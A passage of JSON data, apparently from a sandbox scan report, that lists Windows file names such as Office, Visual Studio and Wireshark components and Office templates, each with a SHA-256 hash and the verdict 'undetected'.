ed6bf7ca3e13988105163"}]},{"name":"libgio-2.0-0.dll","sha256":"5981d5e2166cdb837034a1f0f34f81e8674150c59e254bb2698f9d778b555408","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"OWSCLT.DLL","sha256":"c8d2bbdd40b023975d134126fbe6fc480f6df350a1e0c4e9359e8dffd344877a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"PUBCONV.DLL","sha256":"a331a88187d3817daa20ccd671f8dd727ba9c376180f8d9a42aaf1f03d0185ff","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"ias.exe","sha256":"38d245becc4b071eca3a3c308cddc03ecf76e77f3d496058d258dc5740c74d08","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"TWSTRUCT.DLL","sha256":"d581873a6d68aa77ebef798483ba91778c589cde4ce17df1af106c77ff9eb65e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Qt5Widgets.dll","sha256":"f94e0cb3e01d0a2200bbf0bf36d44006438dd4715c51aa90de7629607bb8a2e7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"ONBttnIE.dll","sha256":"276663a2dc6fa3367315e7e182f26e17ca49bd902e517884f3dffb09853007da","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"EMSMDB32.DLL","sha256":"4c24bcc6774ccbd1273e99dd7e95c64e65acb5c93228cdc3d06505b28b04bcde","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"ONBttnWD.dll","sha256":"f0a4658334fa309e6f90a69a847985914aec0d876c879689dcda72d70a6adb77","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"libgthread-2.0-0.dll","sha256":"8bb40678c68e0a115b1e5778b615bdf3d0f8da3a3b2f550d5a02e2e17dc36bee","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"mofl.dll","sha256":"e80c09e0f35ff6c366df836ed56993b11e54dde37fd1eb06099a7974b5ba71e8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"batchmnt64.exe","sha256":"44223e9c36aaedb3b276cd4c0b29bc42da6a239f3554a4f3fc6a652db9190904","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"rawshark.exe","sha256":"1bb5285b95847eb0e8e7a5240f7e80fd4e54e1f954035af2faf90defd4d5487a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"ml.exe","sha256":"d1b7fb31f2f94edf5e61afd887f5b23b5a569e10a6aa91aaf2a8b440f605df1d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"pgocvt.exe","sha256":"9997247dcb5455f354c2fa26658938ebf4bfb7c8ff97a8a28e96dc534c1677e0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"NL7Lexicons0011.DLL","sha256":"248af8719b4809265c49cd206c9832f4b45f10232928efdb947225f384ce4066","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Qt5PrintSupport.dll","sha256":"e7b2cb38d75122f05e8c01a267c66ca86d5e64d658c9d961c10822f12895820b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"AUDIOSEARCHSAPIFE.DLL","sha256":"f62536fc06e6225285f8562ffbc10562cb67d2c26adebf66c3b141e2cd728c08","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"MSOHEV.DLL","sha256":"6f21652db616c799435e153005d8c8ae2c610fbb3e70b3c089eddc375ae12a42","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"mscss7es.dll","sha256":"cedfae06500c6be4e8a58e1067c9c711b08f5600bfd6c6267d24f27ffb8a3990","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"AcroRead.msi","sha256":"cfafd70eeebf03e2c10e06d0ddd559083b51c624a5aae1c88584152f58adacec","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"MSOCF.DLL","sha256":"841e8948a33054b1f84c90d6fcbef5b3df15d98ab71a55d4c75e11fc29a5a060","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"vcbuildui.dll","sha256":"76d5143b7fe1ca312d9af711e8db8347dd909bf574f3da18edcdc8e49d5e0e8d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"msvcr90d.dll","sha256":"40ef2bca1a7ce998179b7e05063a9b83c150b80e2b5edbf9df3ffe6ef10eb77c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"libpixman-1-0.dll","sha256":"c9ef88395800e85d005b28e520e271491094a070fe8a8bdf67cb39b53a51a8f9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Visual Studio 2008 Itanium Cross Tools Command Prompt.lnk","sha256":"3726a7cfa9f66ee8bbfb2627c2a8d0d6756cdaca96b6d37941901aeb5203be52","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"link.exe","sha256":"a617d02a5bb00483460c2a16c52db9fe6e80276ac77fe849247563f7d331a728","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"ONLNTCOMLIB.DLL","sha256":"e5957c6c5e5a10587b1fb5f7d8b459600ce1ef17b3292b143bb4199c43801a9a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"MSOSTYLE.DLL","sha256":"9d320d5f3d451d8ac8b067033348ec9c7671c72b27a3542073429a809068a9ba","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"AUDIOSEARCHLTS.DLL","sha256":"608c39470e8382c093728096cdf4e2365e3bf470c07551d440b9d3515a2814ed","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"libgail.dll","sha256":"ad0df8e83c8922e07f93a5f34daaab1f453a2acc724758b4247ef7364750e331","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"maintenanceservice.exe","sha256":"cc5abe2e35d1808410ab8a6bc22cc20f16aeb55038bfc246baed0767a5173c74","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"TaxonomyControl.dll","sha256":"4b501974360cd1f52f3828b510b4dc9712ac6f2707718608801fa4c4bfb7373a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"javaws.exe","sha256":"d245605e9f28ce31a50526a8e83cd720b24c90fcd67d351d3a28955e49f9419f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"FORM.DLL","sha256":"241d703f8c2783fcac418db393535f686edeb4c2f974d8e0445a7f1812791781","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"MSOHTMED.EXE","sha256":"85dadb2ba8d2170d045f2f2254bcba0b63152258a6d5d173a4aa2ead51cdc48d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"vcvarsx86_ia64.bat","sha256":"72c847b605b3186f63de2e522d9901541774d02a0dad99ffeab28738229c35c2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"ContactPicker.dll","sha256":"2b6afaf87830db35098bbe3453725b71e86520a08f8f7ca50f1a501c78652fb4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"MLSHEXT.DLL","sha256":"f506b104550bdc224f2072c300bfb037e93b448ce0b33a81eecef703fb800c4d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"libharfbuzz-0.dll","sha256":"442bd34ef1a5f31d4964661218233da66c01547ea8c1f5349885c6b6b6e6cadb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"SCNPST64.DLL","sha256":"5ba0058391bec58708a52b0741a956877fb48d4299ecd21346e6ee4061ba39a3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"javaw.exe","sha256":"da59e860a422ff0ed91ff7263fa3c7cf6c277f621e1147e2c379e364b1df7d26","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Wordconv.exe","sha256":"a8a48e53d3d0205bf1d24cd16b61da082b259a0fcf81e7f543b7a6af555c9d0a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"OneNoteSyncPC.dll","sha256":"0a57656660305951d5a34987248a0361a84186825f7c2d9b15ed3ef3bb0869d7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"NPSPWRAP.DLL","sha256":"cac74d676ecbb9ad9a6c5d7e70f144b862b126f4b66ce66a2458e7961a5a19ea","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"OIS.EXE","sha256":"164c509b814e55b12ac8fc8b5fdfad55ea40256428144de8cc54380e9a4af6e5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"pgomgr.exe","sha256":"724359ed908f396071f028214c420c4bbd7a58bf6285b828548683f2cd973df8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"pgodb90.dll","sha256":"fcb82f63fa8142968dac29fd66a7e6e70dff35456ee297202f068c0fdb352c32","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"REVERSE.DLL","sha256":"a6c85577566171ab2399343b8abaaf522700fab62f8563e396547873edf05d7f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"vcvarsx86_amd64.bat","sha256":"8557200433f242e74f90a1e982cd8533a1d5ef219cc75190572127b492df9dfa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"VCProjectAMD64Platform.dll","sha256":"a44f40f88dcbebb6bb63045b5b418af473ce03595d6cad1136574722ab074021","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"OEMPRINT.CAT","sha256":"12a6a68436bd445d19bb780bf2fdaf41ba41d235bce35fb34532d6d01a7e0634","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"libjasper-1.dll","sha256":"482e654d7d684053857f79b965de5e4b295e5eac9471ff7fe3ba36df3e48f42a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"NAMECONTROLPROXY.DLL","sha256":"27d6b162bc47602b286052928ef08a035b255f0369c952a6cd3cffa1ece4e41c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"SETLANG.EXE","sha256":"98d5f9b39c4cb71d1b050d63a91709d2789dd45d48c254c467a8d03617686c76","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"vcomp90ui.dll","sha256":"e03b99987c8d6a2bfaaedab0f7eccb5758f2666c50b6644916cbe8486b9e21e3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"pgort90.dll","sha256":"5deb0c7ce6e658fecba9e0b5cfd2131ee1821895527c6abbbda1ee71109c83b7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"libfreetype-6.dll","sha256":"f94f9f9be926b2b322cf41d36479fb8de1363cc6efc596a443a9bf15015df0e8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"ONENOTE.EXE","sha256":"c2e4a9cb12c6c998d50c81d2cd65c67cd3da9f53ae8c81a69596257dbf8ea089","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"libjpeg-8.dll","sha256":"f15718bbc35fd8592d22b9ef5a99ac7b8aaff4f46e8b46d6fe1d8238242e7763","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"SSGEN.DLL","sha256":"a7d4ed4b63c56cbfa10baa5e6bc34ec222e34f5e80bf45e6e3e7e262d7a7b8e4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"NAME.DLL","sha256":"e7d952ee5e0513d8307fbace9b47e8d47d9dc6606d82f2ac0b34377f849f6c06","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"msvcm90d.dll","sha256":"e38ebfe5a452d3c22657e3cc4a2caae3cfd1cfeb2989dfe607daa067d17679af","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"libpango-1.0-0.dll","sha256":"7e295da93934f752273c2aba76323e4538facd0fa569c42a349ce6696e91f6d3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"mspdb80.dll","sha256":"490c2eb6e3686f737e7f9db97bb9d0bfc4b975975e9a84ed2f65228bb4cb5813","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"nmake.exe","sha256":"42653fc49ffbf378556354ed759fcfb1ff67ba5a4c68857e718696faa578d8e0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"NPAUTHZ.DLL","sha256":"3cbb38963ef0cb36f14598c5040e410c159775e735ebfe031bab9f3f85aa17a9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"mspft80.dll","sha256":"7bbff6fa33b563ec2e6cfde67e9d4c88f1d18f94b9ba1f079dd2a149a0029637","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"REFEDIT.DLL","sha256":"3b90a81a94d3af952aebbe85e22a047350dbfb141bad581c4ab981468e984546","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"bazisvirtualcdbus.cat","sha256":"e7069b1c4b96a45e4eb116c723f86fe5525d126c5446a47c6c94ca251df7feee","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"mset7tk.dll","sha256":"efca5e132d2ff8759e61f45c43184c909e5f58bb7d2ff867d0deb52afbe88952","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"symdbg.dll","sha256":"c5c91ec595824b0dd86f1c3d8fdc6e57cda22f63aa2f80ad021e8fd1433f9890","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"MSTORDB.EXE","sha256":"0eb28c9ac3fb652fbe09df4375b922622410d1c3990765b9ae0c7a0c8b324c1d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"MSTORE.EXE","sha256":"713ab82ccbda31d2c32cc50ba75fba181a9624931055f5ae1a4bed196b6241bd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"GKExcel.dll","sha256":"88769585918cd55017cee2d80da7db5f57f3e2172c413b86b1ecc555ece8498f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"XLICONS.EXE","sha256":"d6ef3d6dae01f191155e4a4538ab64462ef37912a7e2b568f34643ce51b46b36","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"CDLMSO.DLL","sha256":"601227cc6bfb99c84aee131e057882fead7249ebf0da7521d1373f05884d5251","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Visual Studio 2008 x64 Cross Tools Command Prompt.lnk","sha256":"86ba131ed4db76ed4daf6eb61c4f76d9155e582cf92bd3a84bfdac06071b0d2d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"OFFXML.DLL","sha256":"c2adab3322d008f069bf851039e714f3b15b2ea8918d0d72cc699a6f1e684aab","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"MSOCFUIUTILITIESDLL.DLL","sha256":"74b3929a97f80a6f0b90c8e6a47a7f75a30a786d9e0fe40246cbc0875fe70099","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"IMPMAIL.DLL","sha256":"0099a91b90bc6a06ee1a0e7e99bf2ec63650aec4410c8838423454f79a05bcff","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"SAEXT.DLL","sha256":"b35f6d202a977fab7630f11df595c7b58c72f808f91e613fcbd1847361caa532","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"MSOCFU.DLL","sha256":"1b53a93f9056f98f506e7bd46be977b8477bbd9f3dbb8a8bb4df644766a15ebe","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"XIMAGE3B.DLL","sha256":"f90b0693390f7fdc574e2999d3d71f8b07d3edc7dbddfee2098a20da08a0f2d9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"TWCUTCHR.DLL","sha256":"bab72cbf2009e3f71dc8c768f0dd8874afd359838578954625254ce6e539d268","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"mspdbsrv.exe","sha256":"30158ea15b464d4e5e967686a886d97e0c7434ade1526493034bb1ef7e104cb9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"STSUPLD.DLL","sha256":"253a146cfc71d5ce8edeeb4b3eac256a2d2ccfbb1df8369362812aeb541ed20d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"setup.exe","sha256":"f539047bf24b033dcaaa3dda58da573f05226f6ead2a468d9fdcee77fe82ad10","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"mspdbcore.dll","sha256":"92acf3981ed5311bfd37971867e84fe98c3574e9f622a5ad47c4acee8ed42c5e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"pgort90ui.dll","sha256":"36c70cb0ff00a688e73ab4c1a17ef492054f954be132a7637c03735f80c2b399","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"ONENOTEM.EXE","sha256":"96ad7b63094d88c4633fddd0b2bde0bd5d8b50834b95cab1350b2e7c249dd26a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"PPTICO.EXE","sha256":"8886564df0798698d468715ec1b2eb659783f5bc7d512ef7934f98c5954ba788","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"PUBTRAP.DLL","sha256":"801bdc5172ad549faa78dd9fdad17919d261dbe8fd79088638b50d3cf612e2bf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"STSCOPY.DLL","sha256":"fa4533d61c0dbf555b220b201657fec90163d64790956c22c0ca864277e6b77b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"editbin.exe","sha256":"c35b13972674d65a3aaf2d263b557c80592624c117aa69f2096235e337e25ba5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"CONTAB32.DLL","sha256":"3d7b87b577e175e18fb322def5e6540dc430ad11845de79a77001ddd36b7e7a8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"MAPISHELL.DLL","sha256":"bdf19f591347eede366a2f634908c9bbd5c94431a6e33b3e0e2bb05e27c5aba5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"STSLIST.DLL","sha256":"8240f1fa229126a189e7b39cb9a82a03e2d6c13fbf0f73631c0235dfa4351901","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"MSOHEVI.DLL","sha256":"b53e9ce134a58c4cb32fd9d3b43455a66092c74db8b30b38c295f8790b56d9a5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Wordcnvr.dll","sha256":"96fd9bfe50be3d265d01738cc3da0e3bf4986a146cc48f0ce0feabf921637d00","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"MSODCW.DLL","sha256":"bbbdfc17d859b93e8bc37d2df14b41ce6852b23f98f223bf821ba5692c2cf86a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"libwimp.dll","sha256":"7d5426935d02953acd2cfe257e1ad735a653a1e20e7c008b5db4b6f5192fa303","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"MSCOL11.INF","sha256":"8196a9191e16894bb63a69cb6dc120c7656e21e9cf44fd90a5f596d6ed042664","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"mscss7fr.dll","sha256":"f4e54da0b92196dcf5c8570f03ce265ff9e292081113d0e9c5d1bfdeb13e0d25","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Wireshark.exe","sha256":"49a1e1bbbe9edb9557d797dc7e75b46a4f5f8d840444c33dc35dc2af6e158f88","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"OLMAPI32.DLL","sha256":"10298d4814fbad51bb8a43e383544108f3dd9dc013aa8dadf6d61ac7409b308d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"GKPowerPoint.dll","sha256":"3e3ce3b4a52f4744d18783f0a92311460ce951997e9aed658c3f20fa1fff05ed","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"user-guide.chm","sha256":"727478a13db7a906b81b204c18735a0adab697f45f1d6035b5ae9ed45c02b97a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"qtshark.exe","sha256":"d9293227b3752b36e33a8e948220e28f54ea670cbbf6823029b1e98955e809b8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"uninstall64.exe","sha256":"fd0665d9033123d74ea18f08f3c139f1401ab18aa2260ddadd096863b188b942","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"POWERPNT.EXE","sha256":"d6da652136731abe064e1057308512f59e6f9b4d13e4971b78c998066fbaa366","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"SELFCERT.EXE","sha256":"a1adc926a4f91e593b296ddbd2b09871c10867a6dd24ff7445360fcfc27dc810","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"VCProjectIA64Platform.dll","sha256":"c500d5cf1e7f5ed93979b2c3d784f581ac2c04a23fe8df1c00d9df74b09f27bd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"vcbuild.dll","sha256":"0ff0bd64b6069eda00ac187efeb51e72b9dd6db11bcd3803b52b6577be29f027","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"THOCRAPI.DLL","sha256":"7c1740e77e6e560a9fb5c6f354d0705e8cab96004885623f0f8238292ba52b4b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"OLKFSTUB.DLL","sha256":"6f9cd9bd86af4e5629671469b822c1a9809124439dfe62a0e34a8c2d2fa0edf2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"ApothecaryMergeLetter.dotx","sha256":"4fa0fcd457050369c0a0c235ecd824784466af9a81fff5e5037a3127e53b3fe0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"AdjacencyLetter.dotx","sha256":"6e436c8cbcc84e8371f59624e5007c7089b29a960ac42e607909cbd3852c2738","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"ExecutiveNewsletter.dotx","sha256":"6f61c0378f997975608a4e32af018d6bec74d04e2bdd7df08a81c890dd64659a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"ExecutiveLetter.dotx","sha256":"11e5b6eb790a2279887544f25b1981068a86b23a4782c4ec0b332fa46ede3af9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"Blog.dotx","sha256":"3b24a8892749710ee69dce3d96a67b6b1fb99c9641650325ce18453d3c47e62e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"AdjacencyMergeLetter.dotx","sha256":"72966ed91d0783de76bcd0855c47649177453f1bc34c000e4b0fb4e43a8a28e3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"BillingStatement.xltx","sha256":"d8d27f65d930cc2bd5b218ff1673c5878460c986b3b5706485492b8d156a7bc6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"ExecutiveResume.dotx","sha256":"af874faaf8c6a9c324bb8b268c637d870acfa981b3225eb65cfdedad0914b762","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"BloodPressureTracker.xltx","sha256":"f7f8e9cbe8a0e66d7bac7031230092505c4b9d64a60f2c8fe6a0ea2cae370e46","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"UrbanResume.Dotx","sha256":"db1ee149574edbe84c1b154645101e05d29f4b4c4fd23a6641763f4a9a8210bd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"UrbanReport.Dotx","sha256":"8b433f6ff1eb8680f449a6c3c265919306f4d05946987d1f3b91bd243bf370bd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"ContemporaryPhotoAlbum.potx","sha256":"621518ecc3bb0d5831f07d020f8bd940d38109cfdef71811c9bcb96b4a2ef557","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"OriginMergeLetter.Dotx","sha256":"e07b0adafa3cabc2535ee005a41bd23b877ac1a539b7b21430f4524395269958","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a9ed6bf7ca3e13988105163"}]},{"name":"MedianMergeFax.Dotx","sha256":"a72b3217e30717ecfdf6f18159eedae92ed36d31ab4202552bd43b0a8b3b23b0","verdict":